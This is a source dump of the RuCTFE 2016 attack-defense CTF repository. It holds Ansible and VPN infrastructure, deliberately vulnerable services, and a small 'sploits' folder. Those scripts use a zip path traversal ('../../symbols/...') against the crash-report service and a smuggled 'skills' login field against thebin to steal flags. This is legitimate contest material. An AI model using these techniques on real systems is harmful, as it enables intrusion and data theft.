owner=diamond group=diamond 13 | notify: enable and restart diamond 14 | 15 | - name: copy diamond systemd service 16 | copy: src=diamond.service dest=/etc/systemd/system/diamond.service 17 | notify: enable and restart diamond 18 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/snat/check_snat_rules.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # checks rules for teams snat. Team will see incoming connections from 10.8{0..3}.{0..254}.1 3 | # this script should be run once before the game starts 4 | 5 | for num in {0..767}; do 6 | ip="10.$((80 + num / 256)).$((num % 256)).1" 7 | 8 | if ! iptables -t nat -C POSTROUTING -o team${num} -j SNAT --to-source ${ip}; then 9 | echo "Holy sheet! Team ${num} is not SNATted!!!" 10 | echo "You can fix it with this command" 11 | echo "iptables -t nat -A POSTROUTING -o team${num} -j SNAT --to-source ${ip}" 12 | fi 13 | done 14 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/networkclosed/open_network.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # go to script dir 4 | cd "$( dirname "${BASH_SOURCE[0]}" )" 5 | 6 | echo 1 > /proc/sys/net/ipv4/ip_forward 7 | 8 | for num in {0..767}; do 9 | ip="10.$((80 + num / 256)).$((num % 256)).1" 10 | 11 | while iptables -t nat -C PREROUTING -i team${num} -p tcp -m tcp -m comment --comment closednetwork -j DNAT --to-destination ${ip}:40002 &>/dev/null; do 12 | iptables -t nat -D PREROUTING -i team${num} -p tcp -m tcp -m comment --comment closednetwork -j DNAT --to-destination ${ip}:40002 13 | done; 14 | done 15 | 16 | ./check_network.sh 17 | -------------------------------------------------------------------------------- /services/atlablog/templates/registration.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% import '_form_macro.html' as forms %} 4 | 5 | {% block content %} 6 |
7 | {{ forms.input_with_errors(form.username, style='font-weight: bold') }} 8 | {{ forms.input_with_errors(form.email, style='font-weight: bold') }} 9 | {{ forms.input_with_errors(form.password, style='font-weight: bold') }} 10 | {{ forms.input_with_errors(form.accept_rules, style='font-weight: bold') }} 11 | 12 |
13 | {% endblock %} 14 | -------------------------------------------------------------------------------- /sploits/crash/just_crash.cpp: -------------------------------------------------------------------------------- 1 | #include "client/linux/handler/exception_handler.h" 2 | #include 3 | 4 | 5 | // 6 | static bool dumpCallback( const google_breakpad::MinidumpDescriptor& descriptor, void* context, bool succeeded ) { 7 | printf("%s", descriptor.path()); 8 | fflush (stdout); 9 | return succeeded; 10 | } 11 | 12 | 13 | // 14 | int main( int argc, char* argv[] ) { 15 | google_breakpad::MinidumpDescriptor descriptor("./"); 16 | google_breakpad::ExceptionHandler eh(descriptor, NULL, dumpCallback, NULL, true, -1); 17 | 18 | volatile int* ptr = 0; 19 | *ptr = 0; 20 | 21 | return 0; 22 | } 23 | 24 | -------------------------------------------------------------------------------- /ansible/roles/weather/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: Install requirements 3 | apt: name=libc6-dev-i386 4 | 5 | - name: Create user 6 | user: createhome=yes name=weather 7 | 8 | - name: Copy service 9 | copy: 10 | src: "{{ playbook_dir }}/../services/weather/weather" 11 | dest: "/home/weather/weather" 12 | owner: weather 13 | mode: 0755 14 | force: yes 15 | 16 | - name: Add systemd service 17 | template: src=service.j2 dest=/lib/systemd/system/weather.service 18 | 19 | - name: Enable service 20 | service: name=weather enabled=yes 21 | 22 | - name: Start service 23 | service: name=weather state=restarted 24 | -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/helpers/ThrottlingHelper.kt: -------------------------------------------------------------------------------- 1 | package cartographer.helpers 2 | 3 | import cartographer.throttling.Throttler 4 | import org.springframework.http.HttpStatus 5 | import org.springframework.http.ResponseEntity 6 | 7 | inline fun throttle(throttler: Throttler, action: () -> ResponseEntity) : ResponseEntity { 8 | try { 9 | if (!throttler.tryAcquireResource()) { 10 | return ResponseEntity(HttpStatus.TOO_MANY_REQUESTS) 11 | } 12 | 13 | return action() 14 | } finally { 15 | throttler.releaseResource() 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /services/thebin/rand.lua: -------------------------------------------------------------------------------- 1 | local ffi = require 'ffi' 2 | 3 | ffi.cdef [[ 4 | typedef struct { 5 | unsigned long long state; 6 | unsigned value; 7 | } result_t; 8 | 9 | result_t next(unsigned long long state); 10 | unsigned long long init(); 11 | ]] 12 | 13 | local crand = ffi.load '/etc/nginx/rand.so' 14 | 15 | local module = {} 16 | 17 | function module.init() 18 | return tonumber(crand.init()); 19 | end 20 | 21 | setmetatable(module, { 22 | __call = function(_, value) 23 | value = tonumber(value) 24 | local res = crand.next(value) 25 | return tonumber(res.state), tonumber(res.value) 26 | end 27 | }) 28 | 29 | return module 30 | -------------------------------------------------------------------------------- /services/thebin/static/css/bin.css: -------------------------------------------------------------------------------- 1 | html { 2 | word-wrap: break-word; 3 | } 4 | 5 | .table { 6 | table-layout: fixed; 7 | } 8 | 9 | .table tr td:nth-child(1) { 10 | font-size: larger; 11 | width: 85%; 12 | } 13 | 14 | .table tr td:nth-child(2) { 15 | color: #666; 16 | text-align: right; 17 | vertical-align: bottom; 18 | font-style: italic; 19 | } 20 | 21 | .author { 22 | color: #666; 23 | font-style: italic; 24 | } 25 | 26 | .text { 27 | font-size: larger; 28 | } 29 | 30 | .verified { 31 | position: absolute; 32 | right: -7px; 33 | top: -10px; 34 | color: green; 35 | font-size: 20px; 36 | } 37 | 38 | .verified abbr { 39 | border: none; 40 | } -------------------------------------------------------------------------------- /services/sapmarine/static/js/sapmarine.js: -------------------------------------------------------------------------------- 1 | $(".take-trip-form").submit(function() { 2 | var $form = $(this); 3 | $.ajax({ 4 | url: $form.attr("action") || "", 5 | type: $form.attr("method") || "GET", 6 | data: $form.serialize(), 7 | cache: false 8 | }).fail(function(xhr) { 9 | alert("Failed to take trip: " + (xhr.responseText || xhr.statusMessage || "Unknown error")); 10 | }).done(function(data) { 11 | $form.closest("tr").addClass("warning"); 12 | $form.replaceWith($("Rate passenger").attr("href", "/reviewForm?tripId=" + encodeURIComponent(data))); 13 | }); 14 | return false; 15 | }); 16 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RuCTFE 2016 2 | 3 | [RuCTFE](https://ructfe.org) is an annual online international challenge in the information security. 4 | 5 | The contest is driven by classic rules (Attack-Defense [CTF](https://en.wikipedia.org/wiki/Capture_the_flag#Computer_security)). Each team is given a set of vulnerable services. Organizers regulary fill services with private information — the flags. The goal of each team is to find vulnerabilities, fix them in their services and exploit them in order to get flags from other teams. 6 | 7 | RuCTFE 2016 was held on November 12, 2016. [Results](https://ructfe.org/2016/results/) 8 | 9 | Copyright (C) 2016 [HackerDom](http://hackerdom.ru) 10 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/teamcheck/teams.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import json 3 | 4 | USE_REAL_TEAMS = False 5 | 6 | URL = "http://ructf.org/e/2014/teams/info" 7 | 8 | teams_cache = {} 9 | 10 | def get_teams(): 11 | global teams_cache 12 | try: 13 | teams = {} 14 | if not USE_REAL_TEAMS: 15 | for i in range(768): 16 | teams[i] = "test_team%d" % i 17 | else: 18 | content = requests.get(URL).text 19 | teams_list = json.loads(content) 20 | for team_id, team_name in teams_list: 21 | if type(team_id) is int: 22 | teams[team_id] = team_name 23 | except Exception: 24 | return teams_cache 25 | 26 | teams_cache = teams 27 | return teams 28 | -------------------------------------------------------------------------------- /ansible/roles/cartographer/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: Create user 3 | user: createhome=yes name=cartographer 4 | 5 | - name: Copy service 6 | copy: 7 | src: "/tmp/cartographer.jar" 8 | dest: "/home/cartographer/cartographer.jar" 9 | owner: cartographer 10 | force: yes 11 | 12 | - name: Fix permissions 13 | file: name="/home/cartographer" state=directory owner=cartographer recurse=yes 14 | 15 | - name: Add systemd service 16 | template: src=service.j2 dest=/lib/systemd/system/cartographer.service 17 | 18 | - name: Enable service 19 | service: name=cartographer enabled=yes 20 | 21 | - name: Start service 22 | service: name=cartographer state=restarted 23 | -------------------------------------------------------------------------------- /ansible/roles/swift/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: Install required system packages. 3 | apt: pkg={{ item }} state=installed 4 | with_items: 5 | - clang 6 | - git 7 | - libcurl3 8 | - libcurl4-openssl-dev 9 | - libicu-dev 10 | - libssl-dev 11 | - libxml2-dev 12 | - python-dev 13 | 14 | - name: Download swift 15 | get_url: 16 | url: "https://swift.org/builds/swift-3.0-release/ubuntu1404/swift-3.0-RELEASE/swift-3.0-RELEASE-ubuntu14.04.tar.gz" 17 | dest: /opt/swift-3.0-RELEASE-ubuntu14.04.tar.gz 18 | 19 | - name: Unarchive swift 20 | unarchive: 21 | src: "/opt/swift-3.0-RELEASE-ubuntu14.04.tar.gz" 22 | dest: /opt/ 23 | copy: no 24 | -------------------------------------------------------------------------------- /ansible/roles/vpn/gen/gen_keys.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | from subprocess import call 4 | 5 | N = 768 6 | OPENVPN_PATH = "/usr/sbin/openvpn" 7 | 8 | if __name__ != "__main__": 9 | print("I am not a module") 10 | sys.exit(0) 11 | 12 | 13 | os.chdir(os.path.dirname(os.path.realpath(__file__))) 14 | try: 15 | os.mkdir("keys") 16 | os.chdir("keys") 17 | except FileExistsError: 18 | print("Remove ./keys directory first") 19 | sys.exit(1) 20 | 21 | for i in range(N): 22 | keyname = "%d.key" % i 23 | call([OPENVPN_PATH, "--genkey", "--secret", keyname]) 24 | if not os.path.isfile(keyname): 25 | print("Failed to gen: %s" % keyname) 26 | break 27 | else: 28 | print("All ok") 29 | -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/crypto/DefaultKeyGenerator.kt: -------------------------------------------------------------------------------- 1 | package cartographer.crypto 2 | 3 | import org.springframework.stereotype.Component 4 | import java.security.Key 5 | import java.security.SecureRandom 6 | import javax.crypto.KeyGenerator 7 | 8 | @Component 9 | class DefaultKeyGenerator(val cryptographySettings: CryptographySettings) : cartographer.crypto.KeyGenerator { 10 | private val secureRandom = SecureRandom() 11 | 12 | override fun generate(): Key { 13 | val keyGenerator = KeyGenerator.getInstance(cryptographySettings.keySpec) 14 | keyGenerator.init(128, secureRandom) 15 | return keyGenerator.generateKey() 16 | } 17 | } -------------------------------------------------------------------------------- /ansible/roles/vpn/files/networkclosed/close_network.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # go to script dir 4 | cd "$( dirname "${BASH_SOURCE[0]}" )" 5 | 6 | echo 0 > /proc/sys/net/ipv4/ip_forward 7 | 8 | for num in {0..767}; do 9 | ip="10.$((80 + num / 256)).$((num % 256)).1" 10 | 11 | if ! iptables -t nat -C PREROUTING -i team${num} -p tcp -m tcp -m comment --comment closednetwork -j DNAT --to-destination ${ip}:40002 &> /dev/null; then 12 | iptables -t nat -A PREROUTING -i team${num} -p tcp -m tcp -m comment --comment closednetwork -j DNAT --to-destination ${ip}:40002 &> /dev/null 13 | #echo "Added DNAT rule for team ${num}" 14 | fi 15 | done 16 | 17 | ./check_network.sh 18 | -------------------------------------------------------------------------------- /services/thebin/json.lua: -------------------------------------------------------------------------------- 1 | local json = require 'cjson' 2 | 3 | local module = {json = json.new()} 4 | 5 | function module.encode(self, t) 6 | return self.json.encode(t) 7 | end 8 | 9 | local function fix_nil(t) 10 | if type(t) == 'table' then 11 | local result = {} 12 | for pos, val in pairs(t) do 13 | result[pos] = fix_nil(val) 14 | end 15 | return result 16 | elseif t == json.null then 17 | return nil 18 | else 19 | return t 20 | end 21 | end 22 | 23 | function module.decode(self, str) 24 | local t 25 | local ok, err = pcall(function() t = self.json.decode(str) end) 26 | if not ok then 27 | return nil 28 | end 29 | return fix_nil(t) 30 | end 31 | 32 | return module -------------------------------------------------------------------------------- /ansible/roles/vpn/files/trafdump/del_trafdump_rules.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # removes rules for traffic dump 3 | # this script shouldn't be run normally :) 4 | 5 | for chain in INPUT FORWARD OUTPUT; do 6 | iptables -t mangle -D $chain -s 10.80.0.0/14 -j TEE --gateway 10.10.10.10 7 | iptables -t mangle -D $chain -s 10.60.0.0/14 -j TEE --gateway 10.10.10.10 8 | iptables -t mangle -D $chain -s 10.10.10.2/32 -j TEE --gateway 10.10.10.10 9 | iptables -t mangle -D $chain -s 10.10.10.3/32 -j TEE --gateway 10.10.10.10 10 | iptables -t mangle -D $chain -s 10.10.10.4/32 -j TEE --gateway 10.10.10.10 11 | iptables -t mangle -D $chain -s 10.10.10.5/32 -j TEE --gateway 10.10.10.10 12 | done 13 | -------------------------------------------------------------------------------- /services/atlablog/test_main.py: -------------------------------------------------------------------------------- 1 | from sanic.response import text 2 | from sanic.utils import sanic_endpoint_test 3 | 4 | from main import make_app 5 | 6 | 7 | def test_sync(): 8 | app = make_app() 9 | 10 | @app.route('/test') 11 | def handler(request): 12 | return text('Hello') 13 | 14 | request, response = sanic_endpoint_test(app, uri='/test') 15 | 16 | assert response.text == 'Hello' 17 | 18 | 19 | def test_async(): 20 | app = make_app() 21 | 22 | @app.route('/test') 23 | async def handler(request): 24 | return text('Hello') 25 | 26 | request, response = sanic_endpoint_test(app, uri='/test') 27 | 28 | assert response.text == 'Hello' 29 | -------------------------------------------------------------------------------- /checkers/atlablog/templates/user_credentials.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | 4 | 5 | def generate_user_credentials(email): 6 | num_range = [str(i) for i in range(9)] 7 | letters = list(string.ascii_lowercase) 8 | user_suffix = random.sample(letters + num_range, 15) 9 | user_password = random.sample(num_range + letters, 24) 10 | user_email = random.sample(num_range + letters, 31) 11 | site_email = random.sample(num_range + letters, 5) 12 | 13 | user = "User_" + "".join(user_suffix) 14 | if not email: 15 | email = "".join(user_email) + "@" + "".join(site_email) + ".com" 16 | else: 17 | email += "@ructfe.flag" 18 | return user, "".join(user_password), email 19 | -------------------------------------------------------------------------------- /services/weather/forecast.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "types.h" 4 | #include "storage.h" 5 | 6 | #define WT_CLEAR 0 7 | #define WT_SOME_CLOUDS 1 8 | #define WT_CLOUDY 2 9 | #define WT_RAIN 3 10 | #define WT_THUNDERSTORM 4 11 | #define WT_SNOW 5 12 | 13 | #define WT_VALSAMPLES 2 14 | #define WT_SAMPLES (WT_VALSAMPLES * WT_LAST_SAVED) 15 | #define WT_POLY_POWER 3 16 | 17 | void wt_forecast_temp_prepare(const char *rawSamples, int32 *samples); 18 | 19 | void wt_forecast_temp_update(const int32 *samples); 20 | 21 | void wt_forecast_temp(int32 *forecast, int32 forecastLength); 22 | 23 | void wt_forecast_type(const char *rawSamples, const int32 *tempSamples, int32 forecastLength, char *forecast); 24 | 25 | uint64 wt_sign(const char *data, int32 length); -------------------------------------------------------------------------------- /ansible/roles/backuper/tasks/main.yml: -------------------------------------------------------------------------------- 1 | - name: apt install mailutils 2 | apt: name=mailutils state=latest 3 | tags: backuper 4 | 5 | - name: create backuper user 6 | user: name=backuper shell=/bin/bash 7 | tags: backuper 8 | 9 | - name: create backuper directories 10 | file: path=/home/backuper/{{item}} state=directory owner=backuper group=backuper 11 | with_items: 12 | - a 13 | - b 14 | - .ssh 15 | tags: backuper 16 | 17 | - name: copy backuper user private ssh key 18 | copy: src=id_rsa dest=/home/backuper/.ssh/id_rsa owner=backuper group=backuper mode=0600 19 | tags: backuper 20 | 21 | - name: copy backup script 22 | copy: src=checksystem_backup.sh dest=/home/backuper/checksystem_backup.sh mode=0755 23 | tags: backuper 24 | -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/data/SynchronizeTimeResponse.kt: -------------------------------------------------------------------------------- 1 | package cartographer.data 2 | 3 | import cartographer.providers.DateTimeProvider 4 | import com.fasterxml.jackson.annotation.JsonProperty 5 | import java.time.ZonedDateTime 6 | 7 | data class SynchronizeTimeResponse(@JsonProperty("sendRequestTime") val sendRequestTime: ZonedDateTime, 8 | @JsonProperty("receiveRequestTime") val receiveRequestTime: ZonedDateTime, 9 | @JsonProperty("sendResponseTime") val sendResponseTime: ZonedDateTime) { 10 | constructor(sendRequestTime: ZonedDateTime, dateTimeProvider: DateTimeProvider) 11 | : this(sendRequestTime, dateTimeProvider.get(), dateTimeProvider.get()) 12 | } -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/helpers/SerializationHelper.kt: -------------------------------------------------------------------------------- 1 | package cartographer.helpers 2 | 3 | import java.nio.ByteBuffer 4 | import java.util.* 5 | 6 | fun bytesToInt(bytes: ByteArray): Int { 7 | return ByteBuffer.wrap(bytes).int 8 | } 9 | 10 | fun intToBytes(size: Int): ByteArray { 11 | return ByteBuffer.allocate(4).putInt(size).array() 12 | } 13 | 14 | fun bytesToUuid(bytes: ByteArray): UUID { 15 | val byteBuffer = ByteBuffer.wrap(bytes) 16 | return UUID(byteBuffer.long, byteBuffer.long) 17 | } 18 | 19 | fun uuidToBytes(uuid: UUID): ByteArray { 20 | return ByteBuffer.allocate(16) 21 | .putLong(uuid.mostSignificantBits) 22 | .putLong(uuid.leastSignificantBits) 23 | .array() 24 | } -------------------------------------------------------------------------------- /services/cartographer/src/main/resources/log4j2.yaml: -------------------------------------------------------------------------------- 1 | Configutation: 2 | name: Default 3 | 4 | Properties: 5 | Property: 6 | name: log-path 7 | value: "logs" 8 | 9 | Appenders: 10 | 11 | Console: 12 | name: Console_Appender 13 | target: SYSTEM_OUT 14 | PatternLayout: 15 | pattern: "%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] [%-5level] [%c{1.}] %msg%n" 16 | 17 | File: 18 | name: File_Appender 19 | fileName: ${log-path}/logfile.log 20 | PatternLayout: 21 | pattern: "%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] [%-5level] [%c{1.}] %msg%n" 22 | 23 | Loggers: 24 | 25 | Root: 26 | level: debug 27 | AppenderRef: 28 | - ref: Console_Appender 29 | - ref: File_Appender -------------------------------------------------------------------------------- /services/cartographer/src/test/resources/log4j2.yaml: -------------------------------------------------------------------------------- 1 | Configutation: 2 | name: Default 3 | 4 | Properties: 5 | Property: 6 | name: log-path 7 | value: "logs" 8 | 9 | Appenders: 10 | 11 | Console: 12 | name: Console_Appender 13 | target: SYSTEM_OUT 14 | PatternLayout: 15 | pattern: "%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] [%-5level] [%c{1.}] %msg%n" 16 | 17 | File: 18 | name: File_Appender 19 | fileName: ${log-path}/logfile.log 20 | PatternLayout: 21 | pattern: "%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] [%-5level] [%c{1.}] %msg%n" 22 | 23 | Loggers: 24 | 25 | Root: 26 | level: debug 27 | AppenderRef: 28 | - ref: Console_Appender 29 | - ref: File_Appender -------------------------------------------------------------------------------- /ansible/roles/image/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: Add ssh_key 3 | authorized_key: key="{{ SSH_PUBLIC_KEY }}" user=root exclusive=yes 4 | 5 | - name: generate locales 6 | locale_gen: name=en_US.UTF-8 state=present 7 | 8 | - name: use dns no in ssh 9 | lineinfile: dest=/etc/ssh/sshd_config insertafter=EOF line="UseDNS no" 10 | 11 | - name: generate network 12 | copy: 13 | content: "source /etc/network/interfaces.d/*\nauto lo\niface lo inet loopback" 14 | dest: /etc/network/interfaces 15 | force: yes 16 | 17 | - name: generate eth0 18 | copy: 19 | content: "allow-hotplug eth0\niface eth0 inet dhcp\n" 20 | dest: /etc/network/interfaces.d/eth0.cfg 21 | 22 | - name: add first_time.sh 23 | copy: src=first_time.sh dest=/root/first_time.sh mode=0755 24 | -------------------------------------------------------------------------------- /ansible/roles/common/templates/hosts.j2: -------------------------------------------------------------------------------- 1 | 127.0.0.1 localhost {{inventory_hostname}} 2 | 3 | 185.32.185.51 vpn.a1 4 | 185.32.185.50 vpn-dev.a2 5 | 185.32.185.56 chk0.a3 6 | 185.32.185.55 chk1.a4 7 | 185.32.185.54 chk2.a5 8 | 185.32.185.53 chk3.a6 9 | 185.32.185.52 chk4.a7 10 | 11 | #185.32.185.53 dump.a6 12 | #185.32.185.52 mon.a7 13 | 185.32.185.61 mon.a10 14 | 15 | 10.10.10.1 vpn 16 | 10.10.10.2 vpn-dev 17 | 10.10.10.3 chk0 18 | 10.10.10.4 chk1 19 | 10.10.10.5 chk2 20 | 10.10.10.6 chk3 21 | 10.10.10.7 chk4 22 | #10.10.10.6 dump 23 | 10.10.10.10 mon 24 | 25 | # The following lines are desirable for IPv6 capable hosts 26 | ::1 ip6-localhost ip6-loopback 27 | fe00::0 ip6-localnet 28 | ff00::0 ip6-mcastprefix 29 | ff02::1 ip6-allnodes 30 | ff02::2 ip6-allrouters 31 | ff02::3 ip6-allhosts 32 | -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/configs/JacksonConfig.kt: -------------------------------------------------------------------------------- 1 | package cartographer.configs 2 | 3 | import com.fasterxml.jackson.databind.ObjectMapper 4 | import com.fasterxml.jackson.databind.SerializationFeature 5 | import org.springframework.context.annotation.Bean 6 | import org.springframework.context.annotation.Configuration 7 | import org.springframework.http.converter.json.Jackson2ObjectMapperBuilder 8 | 9 | @Configuration 10 | open class JacksonConfig { 11 | @Bean 12 | open fun objectMapper(builder: Jackson2ObjectMapperBuilder): ObjectMapper { 13 | val objectMapper = builder.createXmlMapper(false).build() 14 | objectMapper.configure(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS, false) 15 | return objectMapper 16 | } 17 | } -------------------------------------------------------------------------------- /services/weather/Makefile: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | CFLAGS = -std=c99 -m32 -O0 -fno-stack-protector -fpie 3 | LDFLAGS = -m32 -shared-libgcc -s -pie 4 | DEPS = 5 | 6 | %.o: %.c $(DEPS) 7 | $(CC) -c -o $@ $< $(CFLAGS) 8 | 9 | WEATHER_OBJS = entrypoint.o server.o httpserver.o controlserver.o dispatcher.o storage.o forecast.o matrix.o types.o logging.o 10 | weather: $(WEATHER_OBJS) 11 | gcc -o weather $(WEATHER_OBJS) $(LDFLAGS) 12 | 13 | SIGNTOOL_OBJS = signtool.o forecast.o matrix.o types.o logging.o 14 | signtool: $(SIGNTOOL_OBJS) 15 | gcc -o signtool $(SIGNTOOL_OBJS) $(LDFLAGS) 16 | 17 | CHECKER_OBJS = checker.o forecast.o matrix.o types.o logging.o 18 | checker: $(CHECKER_OBJS) 19 | gcc -o checker $(CHECKER_OBJS) $(LDFLAGS) 20 | 21 | all: weather checker 22 | 23 | clean: 24 | rm -f weather checker signtool *.o -------------------------------------------------------------------------------- /sploits/crash/sploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import sys 3 | import os 4 | import zipfile 5 | import requests 6 | from io import BytesIO 7 | 8 | addr = sys.argv[1] 9 | guid = sys.argv[2] 10 | 11 | # zip minidump file 12 | inMemoryZip = BytesIO() 13 | zf = zipfile.ZipFile( inMemoryZip, mode='w' ) 14 | zf.write( "dump.dmp", arcname = '%s.dmp' % guid ) 15 | zf.write( "symbols/just_crash/8A0D3C1EADB4865FDC91DA786A0E07640/just_crash.sym", "../../symbols/just_crash/8A0D3C1EADB4865FDC91DA786A0E07640/just_crash.sym" ) 16 | zf.close() 17 | inMemoryZip.seek(0) 18 | 19 | # submit report 20 | url = 'http://%s/submit' % ( addr ) 21 | print url 22 | files = { 'dump_zip_file': inMemoryZip.read() } 23 | headers = { 'Service-Name' : "just_crash", 'GUID' : guid } 24 | requests.post(url, files=files, headers=headers ) 25 | -------------------------------------------------------------------------------- /sploits/thebin/thebin.2.sploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import json 4 | import sys 5 | import requests 6 | import random 7 | import string 8 | 9 | def get_rand_string(l): 10 | return ''.join(random.choice(string.ascii_lowercase) for _ in range(l + random.randint(-l//2, l//2))) 11 | 12 | 13 | def main(hostname): 14 | state = requests.Session() 15 | resp = state.post('http://{}/login'.format(hostname), data={'user': get_rand_string(15), 'password': get_rand_string(15), 'skills': '[null, "hacker"]'}) 16 | if resp.status_code != 200: 17 | print("can't login") 18 | for url in sys.stdin: 19 | resp = state.get('http://{}/{}'.format(hostname, url.strip().lstrip('/'))) 20 | if resp.status_code == 200: 21 | print(resp.json()['body']) 22 | 23 | 24 | if __name__ == '__main__': 25 | main(sys.argv[1]) -------------------------------------------------------------------------------- /ansible/roles/cs_master/tasks/main.yml: -------------------------------------------------------------------------------- 1 | - name: systemd configs 2 | template: src=manager.service.j2 dest=/etc/systemd/system/manager.service 3 | 4 | - name: systemd configs 5 | template: src=web.service.j2 dest=/etc/systemd/system/web.service 6 | 7 | - name: systemd configs 8 | template: src=worker.service.j2 dest=/etc/systemd/system/worker.service 9 | 10 | - name: systemd configs 11 | template: src=watcher.service.j2 dest=/etc/systemd/system/watcher.service 12 | 13 | - name: systemd reload 14 | command: systemctl daemon-reload 15 | 16 | - name: nginx config 17 | template: src=nginx.conf.j2 dest=/etc/nginx/conf.d/cs.conf 18 | 19 | - name: sync vis 20 | synchronize: src=../viz dest=/home/cs 21 | 22 | - name: permissions 23 | file: path=/home/cs/viz owner={{cs_user}} group=www-data recurse=yes 24 | -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/crypto/CryptographySettings.kt: -------------------------------------------------------------------------------- 1 | package cartographer.crypto 2 | 3 | import cartographer.settings.SettingsContainer 4 | import cartographer.settings.StringSetting 5 | import org.springframework.stereotype.Component 6 | 7 | @Component 8 | open class CryptographySettings { 9 | companion object { 10 | private val cipherSpecSetting = StringSetting("cryptography.cipher_spec", "AES/CBC/PKCS5Padding") 11 | private val keySpecSetting = StringSetting("cryptography.key_spec", "AES") 12 | } 13 | 14 | val cipherSpec: String 15 | val keySpec: String 16 | 17 | constructor(settingsContainer: SettingsContainer) { 18 | cipherSpec = cipherSpecSetting.getValue(settingsContainer) 19 | keySpec = keySpecSetting.getValue(settingsContainer) 20 | } 21 | } -------------------------------------------------------------------------------- /services/crash/views/report.tpl: -------------------------------------------------------------------------------- 1 | % rebase('base.tpl', title='') 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 |
Crash guid
Crash reason
Crash address
Remote IP
21 | 22 | Download 23 | 24 |

Crash thread stack

25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 |
IdxModuleSignatureSourceLine
34 | -------------------------------------------------------------------------------- /static/static/css/weather.css: -------------------------------------------------------------------------------- 1 | .wt-icon-large { 2 | width: 200px; 3 | } 4 | 5 | .wt-temp-large { 6 | font-size: 36px; 7 | font-weight: 500; 8 | margin: 40px 0 -60px 150px; 9 | } 10 | 11 | .wt-block-large { 12 | margin: -30px; 13 | } 14 | 15 | .wt-icon-small { 16 | width: 140px; 17 | } 18 | 19 | .wt-temp-small { 20 | font-size: 20px; 21 | font-weight: 500; 22 | margin: 0 0 -50px 110px; 23 | } 24 | 25 | .wt-block-small { 26 | margin: 30px 0 0 -15px; 27 | display: inline-block; 28 | } 29 | 30 | .wt-signature { 31 | margin-top: 60px; 32 | font-size: 8px; 33 | color: #eee; 34 | font-family: monospace; 35 | } 36 | 37 | .wt-well { 38 | border: none; 39 | } 40 | 41 | .wt-body { 42 | background: #f4f8ff; 43 | } 44 | 45 | .wt-header { 46 | margin-top: -40px; 47 | margin-bottom: 0; 48 | border-bottom: 1px solid #595d8c; 49 | } -------------------------------------------------------------------------------- /ansible/roles/vpn/files/networkclosed/networkclosed_serv.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import asyncio 4 | 5 | 6 | MSG = """The network is closed. 7 | 8 | --- 9 | RuCTFE organizers. 10 | """ 11 | 12 | 13 | def accept_client(client_reader, client_writer): 14 | task = asyncio.Task(handle_client(client_reader, client_writer)) 15 | 16 | def client_done(task): 17 | client_writer.close() 18 | 19 | task.add_done_callback(client_done) 20 | 21 | 22 | @asyncio.coroutine 23 | def handle_client(client_reader, client_writer): 24 | client_writer.write(MSG.encode()) 25 | 26 | 27 | def main(): 28 | loop = asyncio.get_event_loop() 29 | f = asyncio.start_server(accept_client, host=None, port=40002) 30 | loop.run_until_complete(f) 31 | loop.run_forever() 32 | 33 | if __name__ == '__main__': 34 | main() 35 | -------------------------------------------------------------------------------- /services/weather/matrix.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "types.h" 4 | 5 | #define M_EPS 1e-9 6 | 7 | struct matrix 8 | { 9 | int32 width; 10 | int32 height; 11 | double *data; 12 | }; 13 | 14 | void m_init(struct matrix *m, int32 width, int32 height, double *data); 15 | 16 | double m_get(const struct matrix *m, int32 x, int32 y); 17 | 18 | void m_set(struct matrix *m, int32 x, int32 y, double value); 19 | 20 | void m_transpose(const struct matrix *src, struct matrix *dest); 21 | 22 | void m_multiply(const struct matrix *a, const struct matrix *b, struct matrix *result); 23 | 24 | void m_copy(const struct matrix *src, struct matrix *dest); 25 | 26 | void m_identity(struct matrix *m); 27 | 28 | void m_display_matrix(const struct matrix *m); 29 | 30 | void m_invert(const struct matrix *src, struct matrix *dest, struct matrix *temp); -------------------------------------------------------------------------------- /ansible/roles/cs_common/templates/telegraf.conf.j2: -------------------------------------------------------------------------------- 1 | [global_tags] 2 | 3 | [agent] 4 | interval = "2s" 5 | round_interval = true 6 | 7 | metric_batch_size = 1000 8 | metric_buffer_limit = 10000 9 | 10 | collection_jitter = "0s" 11 | flush_interval = "5s" 12 | flush_jitter = "0s" 13 | 14 | precision = "" 15 | 16 | debug = false 17 | quiet = false 